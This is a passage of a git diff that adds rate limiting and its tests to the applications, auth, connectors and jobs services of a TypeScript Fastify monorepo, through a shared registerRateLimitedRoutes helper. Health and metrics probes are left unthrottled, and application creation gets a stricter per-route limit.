})).statusCode).toBe(200); + }); + + // The scheduler calls these every five minutes with a bearer secret; throttling them would + // quietly stall every event delivery. + it('never throttles the drain routes, however often the scheduler calls them', async () => { + const broker = stubBroker(); + const app = await build({ CRON_SECRET: SECRET }, broker); + const authorized = { authorization: `Bearer ${SECRET}` }; + + const seen: number[] = []; + for (const url of ['/internal/drain', '/internal/analytics/drain']) { + for (const method of ['GET', 'POST'] as const) { + seen.push(...(await statuses(app, 5, { method, url, headers: authorized }))); + } + } + expect(seen).toEqual(Array(20).fill(200)); + expect(broker.calls).toHaveLength(20); + + // Rejected callers get the drain route's own 401, not a 429, and spend no business budget. + expect(await statuses(app, 5, { method: 'POST', url: '/internal/drain' })).toEqual( + Array(5).fill(401), + ); + expect(await statuses(app, 3, { method: 'GET', url: '/v1/analytics/summary' })).toEqual([ + 401, 401, 401, + ]); + }); +}); diff --git a/services/applications/src/app.ts b/services/applications/src/app.ts index c552223..4b8e1ce 100644 --- a/services/applications/src/app.ts +++ b/services/applications/src/app.ts @@ -9,7 +9,12 @@ import type { Database } from '@atlas/db'; import type { EventBroker } from '@atlas/messaging'; import type { ErrorCode } from '@atlas/types'; import { isAppError, newUuid, toAppError, type Logger } from '@atlas/utils'; -import { createMetricsRegistry, metricsRoute, registerHttpMetrics } from '@atlas/observability'; +import { + createMetricsRegistry, + metricsRoute, + registerHttpMetrics, + registerRateLimitedRoutes, +} from '@atlas/observability'; import type { ApplicationsServiceEnv } from './env.js'; import { appendEventRoute } from './http/routes/append-event.js'; import { createApplicationRoute } from './http/routes/create-application.js'; @@ -33,6 +38,15 @@ const STATUS_TO_CODE: Partial> = { 429: 'RATE_LIMITED', }; +/** + * Creating an application is the call here that fans out to other services (events to matching and + * analytics) and, later, to employers, so it is held to a tighter limit than the global one. A + * route listed here uses its own budget instead of the global one. + */ +const ROUTE_LIMITS = { + 'POST /v1/applications': { max: 30, timeWindow: '1 minute' }, +} as const; + export function buildApp(deps: AppDeps): FastifyInstance { const app = Fastify({ // See services/auth/src/app.ts for why this cast is needed: pino's Logger @@ -45,10 +59,6 @@ export function buildApp(deps: AppDeps): FastifyInstance { }); void app.register(cors, { origin: parseCorsOrigins(deps.env.CORS_ORIGINS) }); - void app.register(rateLimit, { - max: deps.env.RATE_LIMIT_MAX, - timeWindow: deps.env.RATE_LIMIT_WINDOW, - }); const metrics = createMetricsRegistry('applications-service'); registerHttpMetrics(app, metrics); @@ -94,12 +104,26 @@ export function buildApp(deps: AppDeps): FastifyInstance { }); }); + // Probes are scraped by infrastructure and stay outside the rate limiter. healthRoute(app, deps); metricsRoute(app, metrics); - createApplicationRoute(app, deps); - listApplicationsRoute(app, deps); - getApplicationRoute(app, deps); - appendEventRoute(app, deps); + + // Everything else is declared inside the rate-limited scope: see registerRateLimitedRoutes for + // why routes declared on `app` right after registering the plugin would not be limited. + registerRateLimitedRoutes( + app, + { + plugin: rateLimit, + settings: { max: deps.env.RATE_LIMIT_MAX, timeWindow: deps.env.RATE_LIMIT_WINDOW }, + routeLimits: ROUTE_LIMITS, + }, + (api) => { + createApplicationRoute(api, deps); + listApplicationsRoute(api, deps); + getApplicationRoute(api, deps); + appendEventRoute(api, deps); + }, + ); return app; } diff --git a/services/applications/test/ratelimit.test.ts b/services/applications/test/ratelimit.test.ts new file mode 100644 index 0000000..82fcac4 --- /dev/null +++ b/services/applications/test/ratelimit.test.ts @@ -0,0 +1,186 @@ +import type { FastifyInstance } from 'fastify'; +import { afterEach, describe, expect, it } from 'vitest'; +import { createTokenVerifierConfig } from '@atlas/auth-kit'; +import { createDatabase, type DatabaseHandle } from '@atlas/db'; +import { createBroker } from '@atlas/messaging'; +import { createSilentLogger } from '@atlas/utils'; +import { buildApp } from '../src/app.js'; +import { loadApplicationsServiceEnv } from '../src/env.js'; + +const SUPABASE_URL = 'https://test-project.supabase.co'; +// Nothing listens on port 1. Every request below is turned away before it reaches the database +// (a 401 for a missing token, a 404 or a 429), and /health reports a degraded database quickly. +const UNREACHABLE_DATABASE_URL = 'postgres://atlas:atlas@127.0.0.1:1/atlas_applications_ratelimit'; + +// Creating an application has its own, stricter limit (ROUTE_LIMITS in app.ts). +const CREATE_LIMIT = 30; + +const opened: Array<{ app: FastifyInstance; handle: DatabaseHandle }> = []; + +async function build(envOverrides: Record = {}): Promise { + const env = loadApplicationsServiceEnv({ + DATABASE_URL: UNREACHABLE_DATABASE_URL, + PORT: '4005', + SUPABASE_URL, + LOG_LEVEL: 'fatal', + RATE_LIMIT_MAX: '3', + ...envOverrides, + }); + const handle = createDatabase({ url: env.DATABASE_URL }); + const app = buildApp({ + db: handle.db, + sql: handle.sql, + env, + logger: createSilentLogger(), + broker: createBroker({ driver: 'memory', logger: createSilentLogger() }), + tokenVerifier: createTokenVerifierConfig(env), + }); + opened.push({ app, handle }); + await app.ready(); + return app; +} + +afterEach(async () => { + for (const { app, handle } of opened.splice(0)) { + await app.close(); + await handle.close(); + } +}); + +type TestRequest = { method: 'GET' | 'POST'; url: string; headers?: Record }; + +/** Statuses of `count` sequential requests. A 401 (no token) counts against the limit like any other. */ +async function statuses( + app: FastifyInstance, + count: number, + request: TestRequest, +): Promise { + const out: number[] = []; + for (let attempt = 0; attempt < count; attempt += 1) { + out.push((await app.inject(request)).statusCode); + } + return out; +} + +// Rate limiting attaches to routes through an `onRoute` hook that only exists once the +// (asynchronously loaded) @fastify/rate-limit plugin is up, so routes declared directly on the +// root app right after `register(rateLimit)` are silently not limited. See app.ts. +describe('applications-service rate limiting', () => { + it('throttles business routes once the configured maximum is reached and answers 429 RATE_LIMITED', async () => { + const app = await build(); + + expect(await statuses(app, 5, { method: 'GET', url: '/v1/applications' })).toEqual([ + 401, 401, 401, 429, 429, + ]); + + const throttled = await app.inject({ method: 'GET', url: '/v1/applications' }); + expect(throttled.statusCode).toBe(429); + expect(throttled.json().error).toMatchObject({ + code: 'RATE_LIMITED', + message: expect.stringContaining('Rate limit exceeded'), + request_id: expect.stringMatching(/^[0-9a-f-]{36}$/), + }); + }); + + it('sends sane rate-limit headers: a decreasing budget, then Retry-After on the 429', async () => { + const app = await build({ RATE_LIMIT_WINDOW: '30 seconds' }); + + const remaining: string[] = []; + for (let attempt = 0; attempt < 3; attempt += 1) { + const res = await app.inject({ method: 'GET', url: '/v1/applications' }); + expect(res.headers['x-ratelimit-limit']).toBe('3'); + remaining.push(String(res.headers['x-ratelimit-remaining'])); + } + expect(remaining).toEqual(['2', '1', '0']); + + const throttled = await app.inject({ method: 'GET', url: '/v1/applications' }); + expect(throttled.statusCode).toBe(429); + expect(throttled.headers['x-ratelimit-limit']).toBe('3'); + expect(throttled.headers['x-ratelimit-remaining']).toBe('0'); + // The configured RATE_LIMIT_WINDOW is what sizes the wait, not the plugin default of a minute. + const retryAfter = Number(throttled.headers['retry-after']); + expect(Number.isInteger(retryAfter)).toBe(true); + expect(retryAfter).toBeGreaterThanOrEqual(1); + expect(retryAfter).toBeLessThanOrEqual(30); + expect(Number(throttled.headers['x-ratelimit-reset'])).toBe(retryAfter); + }); + + it('spends one budget across the other business routes', async () => { + const app = await build(); + + const sequence: TestRequest[] = [ + { method: 'GET', url: '/v1/applications' }, + { method: 'GET', url: '/v1/applications/3f1d8a52-0000-4000-8000-000000000001' }, + { method: 'POST', url: '/v1/applications/3f1d8a52-0000-4000-8000-000000000001/events' }, + { method: 'GET', url: '/v1/applications' }, + ]; + const seen: number[] = []; + for (const request of sequence) seen.push((await app.inject(request)).statusCode); + + expect(seen).toEqual([401, 401, 401, 429]); + }); + + it('counts unknown routes too, so probing for paths cannot run free', async () => { + const app = await build(); + + expect(await statuses(app, 5, { method: 'GET', url: '/v1/not-a-route' })).toEqual([ + 404, 404, 404, 429, 429, + ]); + expect((await app.inject({ method: 'GET', url: '/v1/not-a-route' })).json().error.code).toBe( + 'RATE_LIMITED', + ); + }); + + it('keeps a separate budget per client address', async () => { + const app = await build(); + const asClient = (address: string): TestRequest => ({ + method: 'GET', + url: '/v1/applications', + headers: { 'x-forwarded-for': address }, + }); + + expect(await statuses(app, 4, asClient('203.0.113.10'))).toEqual([401, 401, 401, 429]); + // A different client is unaffected by the first one running out. + expect(await statuses(app, 3, asClient('203.0.113.11'))).toEqual([401, 401, 401]); + }); + + it('never throttles /health or /metrics, and they do not spend the budget either', async () => { + const app = await build(); + + const probe = await app.inject({ method: 'GET', url: '/health' }); + const probeStatuses = await statuses(app, 10, { method: 'GET', url: '/health' }); + expect(probeStatuses.every((status) => status === probe.statusCode)).toBe(true); + expect(probe.statusCode).not.toBe(429); + expect(probe.headers['x-ratelimit-limit']).toBeUndefined(); + expect(await statuses(app, 10, { method: 'GET', url: '/metrics' })).toEqual( + Array(10).fill(200), + ); + + // The probes above did not touch the business budget... + expect(await statuses(app, 3, { method: 'GET', url: '/v1/applications' })).toEqual([ + 401, 401, 401, + ]); + // ...and once it is spent, the probes still answer. + expect((await app.inject({ method: 'GET', url: '/v1/applications' })).statusCode).toBe(429); + expect((await app.inject({ method: 'GET', url: '/health' })).statusCode).toBe(probe.statusCode); + expect((await app.inject({ method: 'GET', url: '/metrics' })).statusCode).toBe(200); + }); + + it('holds application creation to its own stricter limit, separately from the global one', async () => { + const app = await build({ RATE_LIMIT_MAX: '1000' }); + + const create: TestRequest = { method: 'POST', url: '/v1/applications' }; + expect(await statuses(app, CREATE_LIMIT + 2, create)).toEqual([ + ...Array(CREATE_LIMIT).fill(401), + 429, + 429, + ]); + + const throttled = await app.inject(create); + expect(throttled.json().error.code).toBe('RATE_LIMITED'); + expect(throttled.headers['x-ratelimit-limit']).toBe(String(CREATE_LIMIT)); + + // Only creation is closed: the rest of the API is well inside the global budget. + expect((await app.inject({ method: 'GET', url: '/v1/applications' })).statusCode).toBe(401); + }); +}); diff --git a/services/auth/src/app.ts b/services/auth/src/app.ts index cb547db..7763772 100644 --- a/services/auth/src/app.ts +++ b/services/auth/src/app.ts @@ -8,7 +8,12 @@ import { parseCorsOrigins } from '@atlas/config'; import type { Database } from '@atlas/db'; import type { ErrorCode } from '@atlas/types'; import { isAppError, newUuid, toAppError, type Logger } from '@atlas/utils'; -import { createMetricsRegistry, metricsRoute, registerHttpMetrics } from '@atlas/observability'; +import { + createMetricsRegistry, + metricsRoute, + registerHttpMetrics, + registerRateLimitedRoutes, +} from '@atlas/observability'; import type { AuthServiceEnv } from './env.js'; import { healthRoute } from './http/routes/health.js'; import { meRoute } from './http/routes/me.js'; @@ -42,10 +47,6 @@ export function buildApp(deps: AppDeps): FastifyInstance { }); void app.register(cors, { origin: parseCorsOrigins(deps.env.CORS_ORIGINS) }); - void app.register(rateLimit, { - max: deps.env.RATE_LIMIT_MAX, - timeWindow: deps.env.RATE_LIMIT_WINDOW, - }); const metrics = createMetricsRegistry('auth-service'); registerHttpMetrics(app, metrics); @@ -93,9 +94,22 @@ export function buildApp(deps: AppDeps): FastifyInstance { }); }); + // Probes are scraped by infrastructure and stay outside the rate limiter. healthRoute(app, deps); metricsRoute(app, metrics); - meRoute(app, deps); + + // Everything else is declared inside the rate-limited scope: see registerRateLimitedRoutes for + // why routes declared on `app` right after registering the plugin would not be limited. + registerRateLimitedRoutes( + app, + { + plugin: rateLimit, + settings: { max: deps.env.RATE_LIMIT_MAX, timeWindow: deps.env.RATE_LIMIT_WINDOW }, + }, + (api) => { + meRoute(api, deps); + }, + ); return app; } diff --git a/services/auth/test/ratelimit.test.ts b/services/auth/test/ratelimit.test.ts new file mode 100644 index 0000000..18f2a05 --- /dev/null +++ b/services/auth/test/ratelimit.test.ts @@ -0,0 +1,207 @@ +import rateLimit from '@fastify/rate-limit'; +import Fastify, { type FastifyInstance } from 'fastify'; +import { afterEach, describe, expect, it } from 'vitest'; +import { createTokenVerifierConfig } from '@atlas/auth-kit'; +import { createDatabase, type DatabaseHandle } from '@atlas/db'; +import { registerRateLimitedRoutes } from '@atlas/observability'; +import { createSilentLogger } from '@atlas/utils'; +import { buildApp } from '../src/app.js'; +import { loadAuthServiceEnv } from '../src/env.js'; + +const SUPABASE_URL = 'https://test-project.supabase.co'; +// Nothing listens on port 1. Every request below is turned away before it reaches the database +// (a 401 for a missing token, a 404 or a 429), and /health reports a degraded database quickly. +const UNREACHABLE_DATABASE_URL = 'postgres://atlas:atlas@127.0.0.1:1/atlas_auth_ratelimit'; + +const opened: Array<{ app: FastifyInstance; handle?: DatabaseHandle }> = []; + +async function build(envOverrides: Record = {}): Promise { + const env = loadAuthServiceEnv({ + DATABASE_URL: UNREACHABLE_DATABASE_URL, + PORT: '4001', + SUPABASE_URL, + LOG_LEVEL: 'fatal', + RATE_LIMIT_MAX: '3', + ...envOverrides, + }); + const handle = createDatabase({ url: env.DATABASE_URL }); + const app = buildApp({ + db: handle.db, + sql: handle.sql, + env, + logger: createSilentLogger(), + tokenVerifier: createTokenVerifierConfig(env), + }); + opened.push({ app, handle }); + await app.ready(); + return app; +} + +afterEach(async () => { + for (const { app, handle } of opened.splice(0)) { + await app.close(); + await handle?.close(); + } +}); + +type TestRequest = { method: 'GET' | 'POST'; url: string; headers?: Record }; + +/** Statuses of `count` sequential requests. A 401 (no token) counts against the limit like any other. */ +async function statuses( + app: FastifyInstance, + count: number, + request: TestRequest, +): Promise { + const out: number[] = []; + for (let attempt = 0; attempt < count; attempt += 1) { + out.push((await app.inject(request)).statusCode); + } + return out; +} + +// Rate limiting attaches to routes through an `onRoute` hook that only exists once the +// (asynchronously loaded) @fastify/rate-limit plugin is up, so routes declared directly on the +// root app right after `register(rateLimit)` are silently not limited. See app.ts. +describe('auth-service rate limiting', () => { + it('throttles business routes once the configured maximum is reached and answers 429 RATE_LIMITED', async () => { + const app = await build(); + + expect(await statuses(app, 5, { method: 'GET', url: '/v1/auth/me' })).toEqual([ + 401, 401, 401, 429, 429, + ]); + + const throttled = await app.inject({ method: 'GET', url: '/v1/auth/me' }); + expect(throttled.statusCode).toBe(429); + expect(throttled.json().error).toMatchObject({ + code: 'RATE_LIMITED', + message: expect.stringContaining('Rate limit exceeded'), + request_id: expect.stringMatching(/^[0-9a-f-]{36}$/), + }); + }); + + it('sends sane rate-limit headers: a decreasing budget, then Retry-After on the 429', async () => { + const app = await build({ RATE_LIMIT_WINDOW: '30 seconds' }); + + const remaining: string[] = []; + for (let attempt = 0; attempt < 3; attempt += 1) { + const res = await app.inject({ method: 'GET', url: '/v1/auth/me' }); + expect(res.headers['x-ratelimit-limit']).toBe('3'); + remaining.push(String(res.headers['x-ratelimit-remaining'])); + } + expect(remaining).toEqual(['2', '1', '0']); + + const throttled = await app.inject({ method: 'GET', url: '/v1/auth/me' }); + expect(throttled.statusCode).toBe(429); + expect(throttled.headers['x-ratelimit-limit']).toBe('3'); + expect(throttled.headers['x-ratelimit-remaining']).toBe('0'); + // The configured RATE_LIMIT_WINDOW is what sizes the wait, not the plugin default of a minute. + const retryAfter = Number(throttled.headers['retry-after']); + expect(Number.isInteger(retryAfter)).toBe(true); + expect(retryAfter).toBeGreaterThanOrEqual(1); + expect(retryAfter).toBeLessThanOrEqual(30); + expect(Number(throttled.headers['x-ratelimit-reset'])).toBe(retryAfter); + }); + + it('counts unknown routes against the same budget, so probing for paths cannot run free', async () => { + const app = await build(); + + const seen = [ + (await app.inject({ method: 'GET', url: '/v1/auth/me' })).statusCode, + (await app.inject({ method: 'GET', url: '/v1/not-a-route' })).statusCode, + (await app.inject({ method: 'GET', url: '/v1/auth/me' })).statusCode, + ]; + expect(seen).toEqual([401, 404, 401]); + + const throttled = await app.inject({ method: 'GET', url: '/v1/not-a-route' }); + expect(throttled.statusCode).toBe(429); + expect(throttled.json().error.code).toBe('RATE_LIMITED'); + }); + + it('keeps a separate budget per client address', async () => { + const app = await build(); + const asClient = (address: string): TestRequest => ({ + method: 'GET', + url: '/v1/auth/me', + headers: { 'x-forwarded-for': address }, + }); + + expect(await statuses(app, 4, asClient('203.0.113.10'))).toEqual([401, 401, 401, 429]); + // A different client is unaffected by the first one running out. + expect(await statuses(app, 3, asClient('203.0.113.11'))).toEqual([401, 401, 401]); + }); + + it('never throttles /health or /metrics, and they do not spend the budget either', async () => { + const app = await build(); + + const probe = await app.inject({ method: 'GET', url: '/health' }); + const probeStatuses = await statuses(app, 10, { method: 'GET', url: '/health' }); + expect(probeStatuses.every((status) => status === probe.statusCode)).toBe(true); + expect(probe.statusCode).not.toBe(429); + expect(probe.headers['x-ratelimit-limit']).toBeUndefined(); + expect(await statuses(app, 10, { method: 'GET', url: '/metrics' })).toEqual( + Array(10).fill(200), + ); + + // The probes above did not touch the business budget... + expect(await statuses(app, 3, { method: 'GET', url: '/v1/auth/me' })).toEqual([401, 401, 401]); + // ...and once it is spent, the probes still answer. + expect((await app.inject({ method: 'GET', url: '/v1/auth/me' })).statusCode).toBe(429); + expect((await app.inject({ method: 'GET', url: '/health' })).statusCode).toBe(probe.statusCode); + expect((await app.inject({ method: 'GET', url: '/metrics' })).statusCode).toBe(200); + }); +}); + +// The shared helper behind every service's app.ts. It is exercised here (rather than in +// packages/observability) because this package already resolves the plugin it is handed. +describe('registerRateLimitedRoutes', () => { + const settings = { max: 100, timeWindow: '1 minute' }; + const ok = async () => ({ ok: true }); + + async function helperApp( + options: { routeLimits?: Record } = {}, + ): Promise { + const app = Fastify(); + opened.push({ app }); + app.get('/probe', ok); + registerRateLimitedRoutes(app, { plugin: rateLimit, settings, ...options }, (scope) => { + scope.get('/limited', { config: { rateLimit: { max: 2, timeWindow: '1 minute' } } }, ok); + scope.post('/table', ok); + scope.get('/own', { config: { rateLimit: { max: 1, timeWindow: '1 minute' } } }, ok); + }); + // Declared after the call, still on the root: order is not what keeps a route unlimited. + app.get('/late-probe', ok); + return app; + } + + it('limits routes declared in the scope and leaves routes declared on the app alone', async () => { + const app = await helperApp(); + + expect(await statuses(app, 5, { method: 'GET', url: '/limited' })).toEqual([ + 200, 200, 429, 429, 429, + ]); + expect(await statuses(app, 5, { method: 'GET', url: '/probe' })).toEqual(Array(5).fill(200)); + expect(await statuses(app, 5, { method: 'GET', url: '/late-probe' })).toEqual( + Array(5).fill(200), + ); + }); + + it('applies a limit from the table, and lets a limit written on the route win over the table', async () => { + const app = await helperApp({ + routeLimits: { + 'POST /table': { max: 2, timeWindow: '1 minute' }, + 'GET /own': { max: 50, timeWindow: '1 minute' }, + }, + }); + + expect(await statuses(app, 3, { method: 'POST', url: '/table' })).toEqual([200, 200, 429]); + expect(await statuses(app, 3, { method: 'GET', url: '/own' })).toEqual([200, 429, 429]); + }); + + it('refuses to start when a configured limit matches no route', async () => { + const app = await helperApp({ + routeLimits: { 'POST /renamed-away': { max: 1, timeWindow: '1 minute' } }, + }); + + await expect(app.ready()).rejects.toThrow(/POST \/renamed-away/); + }); +}); diff --git a/services/connectors/src/app.ts b/services/connectors/src/app.ts index 1708e02..7b7376e 100644 --- a/services/connectors/src/app.ts +++ b/services/connectors/src/app.ts @@ -8,7 +8,12 @@ import { parseCorsOrigins } from '@atlas/config'; import type { Database } from '@atlas/db'; import type { ErrorCode } from '@atlas/types'; import { isAppError, newUuid, toAppError, type Logger } from '@atlas/utils'; -import { createMetricsRegistry, metricsRoute, registerHttpMetrics } from '@atlas/observability'; +import { + createMetricsRegistry, + metricsRoute, + registerHttpMetrics, + registerRateLimitedRoutes, +} from '@atlas/observability'; import type { ConnectorsServiceEnv } from './env.js'; import { connectRoute } from './http/routes/connect.js'; import { disconnectRoute } from './http/routes/disconnect.js'; @@ -44,10 +49,6 @@ export function buildApp(deps: AppDeps): FastifyInstance { }); void app.register(cors, { origin: parseCorsOrigins(deps.env.CORS_ORIGINS) }); - void app.register(rateLimit, { - max: deps.env.RATE_LIMIT_MAX, - timeWindow: deps.env.RATE_LIMIT_WINDOW, - }); const metrics = createMetricsRegistry('connectors-service'); registerHttpMetrics(app, metrics); @@ -93,11 +94,24 @@ export function buildApp(deps: AppDeps): FastifyInstance { }); }); + // Probes are scraped by infrastructure and stay outside the rate limiter. healthRoute(app, deps); metricsRoute(app, metrics); - listConnectorsRoute(app, deps); - connectRoute(app, deps); - disconnectRoute(app, deps); + + // Everything else is declared inside the rate-limited scope: see registerRateLimitedRoutes for + // why routes declared on `app` right after registering the plugin would not be limited. + registerRateLimitedRoutes( + app, + { + plugin: rateLimit, + settings: { max: deps.env.RATE_LIMIT_MAX, timeWindow: deps.env.RATE_LIMIT_WINDOW }, + }, + (api) => { + listConnectorsRoute(api, deps); + connectRoute(api, deps); + disconnectRoute(api, deps); + }, + ); return app; } diff --git a/services/connectors/test/ratelimit.test.ts b/services/connectors/test/ratelimit.test.ts new file mode 100644 index 0000000..efaea30 --- /dev/null +++ b/services/connectors/test/ratelimit.test.ts @@ -0,0 +1,175 @@ +import type { FastifyInstance } from 'fastify'; +import { afterEach, describe, expect, it } from 'vitest'; +import { createTokenVerifierConfig } from '@atlas/auth-kit'; +import { createDatabase, type DatabaseHandle } from '@atlas/db'; +import { createSilentLogger } from '@atlas/utils'; +import { buildApp } from '../src/app.js'; +import { loadConnectorsServiceEnv } from '../src/env.js'; +import type { SecretStore } from '../src/lib/secret-store.js'; + +const SUPABASE_URL = 'https://test-project.supabase.co'; +// Nothing listens on port 1. Every request below is turned away before it reaches the database +// (a 401 for a missing token, a 404 or a 429), and /health reports a degraded database quickly. +const UNREACHABLE_DATABASE_URL = 'postgres://atlas:atlas@127.0.0.1:1/atlas_connectors_ratelimit'; + +const unusedSecretStore: SecretStore = { + put: async () => { + throw new Error('the secret store is not reachable from these tests'); + }, + get: async () => { + throw new Error('the secret store is not reachable from these tests'); + }, + delete: async () => undefined, +}; + +const opened: Array<{ app: FastifyInstance; handle: DatabaseHandle }> = []; + +async function build(envOverrides: Record = {}): Promise { + const env = loadConnectorsServiceEnv({ + DATABASE_URL: UNREACHABLE_DATABASE_URL, + PORT: '4011', + SUPABASE_URL, + LOG_LEVEL: 'fatal', + RATE_LIMIT_MAX: '3', + ...envOverrides, + }); + const handle = createDatabase({ url: env.DATABASE_URL }); + const app = buildApp({ + db: handle.db, + sql: handle.sql, + env, + logger: createSilentLogger(), + secretStore: unusedSecretStore, + tokenVerifier: createTokenVerifierConfig(env), + }); + opened.push({ app, handle }); + await app.ready(); + return app; +} + +afterEach(async () => { + for (const { app, handle } of opened.splice(0)) { + await app.close(); + await handle.close(); + } +}); + +type TestRequest = { method: 'GET' | 'POST'; url: string; headers?: Record }; + +/** Statuses of `count` sequential requests. A 401 (no token) counts against the limit like any other. */ +async function statuses( + app: FastifyInstance, + count: number, + request: TestRequest, +): Promise { + const out: number[] = []; + for (let attempt = 0; attempt < count; attempt += 1) { + out.push((await app.inject(request)).statusCode); + } + return out; +} + +// Rate limiting attaches to routes through an `onRoute` hook that only exists once the +// (asynchronously loaded) @fastify/rate-limit plugin is up, so routes declared directly on the +// root app right after `register(rateLimit)` are silently not limited. See app.ts. +describe('connectors-service rate limiting', () => { + it('throttles business routes once the configured maximum is reached and answers 429 RATE_LIMITED', async () => { + const app = await build(); + + expect(await statuses(app, 5, { method: 'GET', url: '/v1/connectors' })).toEqual([ + 401, 401, 401, 429, 429, + ]); + + const throttled = await app.inject({ method: 'GET', url: '/v1/connectors' }); + expect(throttled.statusCode).toBe(429); + expect(throttled.json().error).toMatchObject({ + code: 'RATE_LIMITED', + message: expect.stringContaining('Rate limit exceeded'), + request_id: expect.stringMatching(/^[0-9a-f-]{36}$/), + }); + }); + + it('sends sane rate-limit headers: a decreasing budget, then Retry-After on the 429', async () => { + const app = await build({ RATE_LIMIT_WINDOW: '30 seconds' }); + + const remaining: string[] = []; + for (let attempt = 0; attempt < 3; attempt += 1) { + const res = await app.inject({ method: 'GET', url: '/v1/connectors' }); + expect(res.headers['x-ratelimit-limit']).toBe('3'); + remaining.push(String(res.headers['x-ratelimit-remaining'])); + } + expect(remaining).toEqual(['2', '1', '0']); + + const throttled = await app.inject({ method: 'GET', url: '/v1/connectors' }); + expect(throttled.statusCode).toBe(429); + expect(throttled.headers['x-ratelimit-limit']).toBe('3'); + expect(throttled.headers['x-ratelimit-remaining']).toBe('0'); + // The configured RATE_LIMIT_WINDOW is what sizes the wait, not the plugin default of a minute. + const retryAfter = Number(throttled.headers['retry-after']); + expect(Number.isInteger(retryAfter)).toBe(true); + expect(retryAfter).toBeGreaterThanOrEqual(1); + expect(retryAfter).toBeLessThanOrEqual(30); + expect(Number(throttled.headers['x-ratelimit-reset'])).toBe(retryAfter); + }); + + it('spends one budget across every business route, including connect and disconnect', async () => { + const app = await build(); + + const sequence: TestRequest[] = [ + { method: 'GET', url: '/v1/connectors' }, + { method: 'POST', url: '/v1/connectors/gmail/connect' }, + { method: 'POST', url: '/v1/connectors/gmail/disconnect' }, + { method: 'GET', url: '/v1/connectors' }, + ]; + const seen: number[] = []; + for (const request of sequence) seen.push((await app.inject(request)).statusCode); + + expect(seen).toEqual([401, 401, 401, 429]); + }); + + it('counts unknown routes too, so probing for paths cannot run free', async () => { + const app = await build(); + + expect(await statuses(app, 5, { method: 'GET', url: '/v1/not-a-route' })).toEqual([ + 404, 404, 404, 429, 429, + ]); + expect((await app.inject({ method: 'GET', url: '/v1/not-a-route' })).json().error.code).toBe( + 'RATE_LIMITED', + ); + }); + + it('keeps a separate budget per client address', async () => { + const app = await build(); + const asClient = (address: string): TestRequest => ({ + method: 'GET', + url: '/v1/connectors', + headers: { 'x-forwarded-for': address }, + }); + + expect(await statuses(app, 4, asClient('203.0.113.10'))).toEqual([401, 401, 401, 429]); + // A different client is unaffected by the first one running out. + expect(await statuses(app, 3, asClient('203.0.113.11'))).toEqual([401, 401, 401]); + }); + + it('never throttles /health or /metrics, and they do not spend the budget either', async () => { + const app = await build(); + + const probe = await app.inject({ method: 'GET', url: '/health' }); + const probeStatuses = await statuses(app, 10, { method: 'GET', url: '/health' }); + expect(probeStatuses.every((status) => status === probe.statusCode)).toBe(true); + expect(probe.statusCode).not.toBe(429); + expect(probe.headers['x-ratelimit-limit']).toBeUndefined(); + expect(await statuses(app, 10, { method: 'GET', url: '/metrics' })).toEqual( + Array(10).fill(200), + ); + + // The probes above did not touch the business budget... + expect(await statuses(app, 3, { method: 'GET', url: '/v1/connectors' })).toEqual([ + 401, 401, 401, + ]); + // ...and once it is spent, the probes still answer. + expect((await app.inject({ method: 'GET', url: '/v1/connectors' })).statusCode).toBe(429); + expect((await app.inject({ method: 'GET', url: '/health' })).statusCode).toBe(probe.statusCode); + expect((await app.inject({ method: 'GET', url: '/metrics' })).statusCode).toBe(200); + }); +}); diff --git a/services/jobs/src/app.ts b/services/jobs/src/app.ts index f9b31d1..bcce79d 100644 --- a/services/jobs/src/app.ts +++ b/services/jobs/src/app.ts @@ -9,7 +9,12 @@ import type { Database } from '@atlas/db'; import type { EventBroker } from '@atlas/messaging'; import type { ErrorCode } from '@atlas/types'; import { isAppError, newUuid, toAppError, type Logger } from '@atlas/utils'; -import { createMetricsRegistry, metricsRoute, registerHttpMetrics } from '@atlas/observability'; +import { + createMetricsRegistry, + metricsRoute, + registerHttpMetrics, + registerRateLimitedRoutes, +} from '@atlas/observability'; import type { JobsServiceEnv } from './env.js'; import { getJobRoute } from './http/routes/get-job.js'; import { healthRoute } from './http/routes/health.js'; @@ -45,10 +50,6 @@ export function buildApp(deps: AppDeps): FastifyInstance { }); void app.register(cors, { origin: parseCorsOrigins(deps.env.CORS_ORIGINS) }); - void app.register(rateLimit, { - max: deps.env.RATE_LIMIT_MAX, - timeWindow: deps.env.RATE_LIMIT_WINDOW, - }); const metrics = createMetricsRegistry('jobs-service'); registerHttpMetrics(app, metrics); @@ -94,12 +95,25 @@ export function buildApp(deps: AppDeps): FastifyInstance { }); }); + // Probes are scraped by infrastructure and stay outside the rate limiter. healthRoute(app, deps); metricsRoute(app, metrics); - ingestRoute(app, deps); - listJobsRoute(app, deps); - getJobRoute(app, deps); - recommendationsRoute(app, deps); + + // Everything else is declared inside the rate-limited scope: see registerRateLimitedRoutes for + // why routes declared on `app` right after registering the plugin would not be limited. + registerRateLimitedRoutes( + app, + { + plugin: rateLimit, + settings: { max: deps.env.RATE_LIMIT_MAX, timeWindow: deps.env.RATE_LIMIT_WINDOW }, + }, + (api) => { + ingestRoute(api, deps); + listJobsRoute(api, deps); + getJobRoute(api, deps); + recommendationsRoute(api, deps); + }, + ); return app; } diff --git a/services/jobs/test/ratelimit.test.ts b/services/jobs/test/ratelimit.test.ts new file mode 100644 index 0000000..d162d65 --- /dev/null +++ b/services/jobs/test/ratelimit.test.ts @@ -0,0 +1,163 @@ +import type { FastifyInstance } from 'fastify'; +import { afterEach, describe, expect, it } from 'vitest'; +import { createTokenVerifierConfig } from '@atlas/auth-kit'; +import { createDatabase, type DatabaseHandle } from '@atlas/db'; +import { createBroker } from '@atlas/messaging'; +import { createSilentLogger } from '@atlas/utils'; +import { buildApp } from '../src/app.js'; +import { loadJobsServiceEnv } from '../src/env.js'; + +const SUPABASE_URL = 'https://test-project.supabase.co'; +// Nothing listens on port 1. Every request below is turned away before it reaches the database +// (a 401 for a missing token, a 404 or a 429), and /health reports a degraded database quickly. +const UNREACHABLE_DATABASE_URL = 'postgres://atlas:atlas@127.0.0.1:1/atlas_jobs_ratelimit'; + +const opened: Array<{ app: FastifyInstance; handle: DatabaseHandle }> = []; + +async function build(envOverrides: Record = {}): Promise { + const env = loadJobsServiceEnv({ + DATABASE_URL: UNREACHABLE_DATABASE_URL, + PORT: '4003', + SUPABASE_URL, + LOG_LEVEL: 'fatal', + RATE_LIMIT_MAX: '3', + ...envOverrides, + }); + const handle = createDatabase({ url: env.DATABASE_URL }); + const app = buildApp({ + db: handle.db, + sql: handle.sql, + env, + logger: createSilentLogger(), + broker: createBroker({ driver: 'memory', logger: createSilentLogger() }), + tokenVerifier: 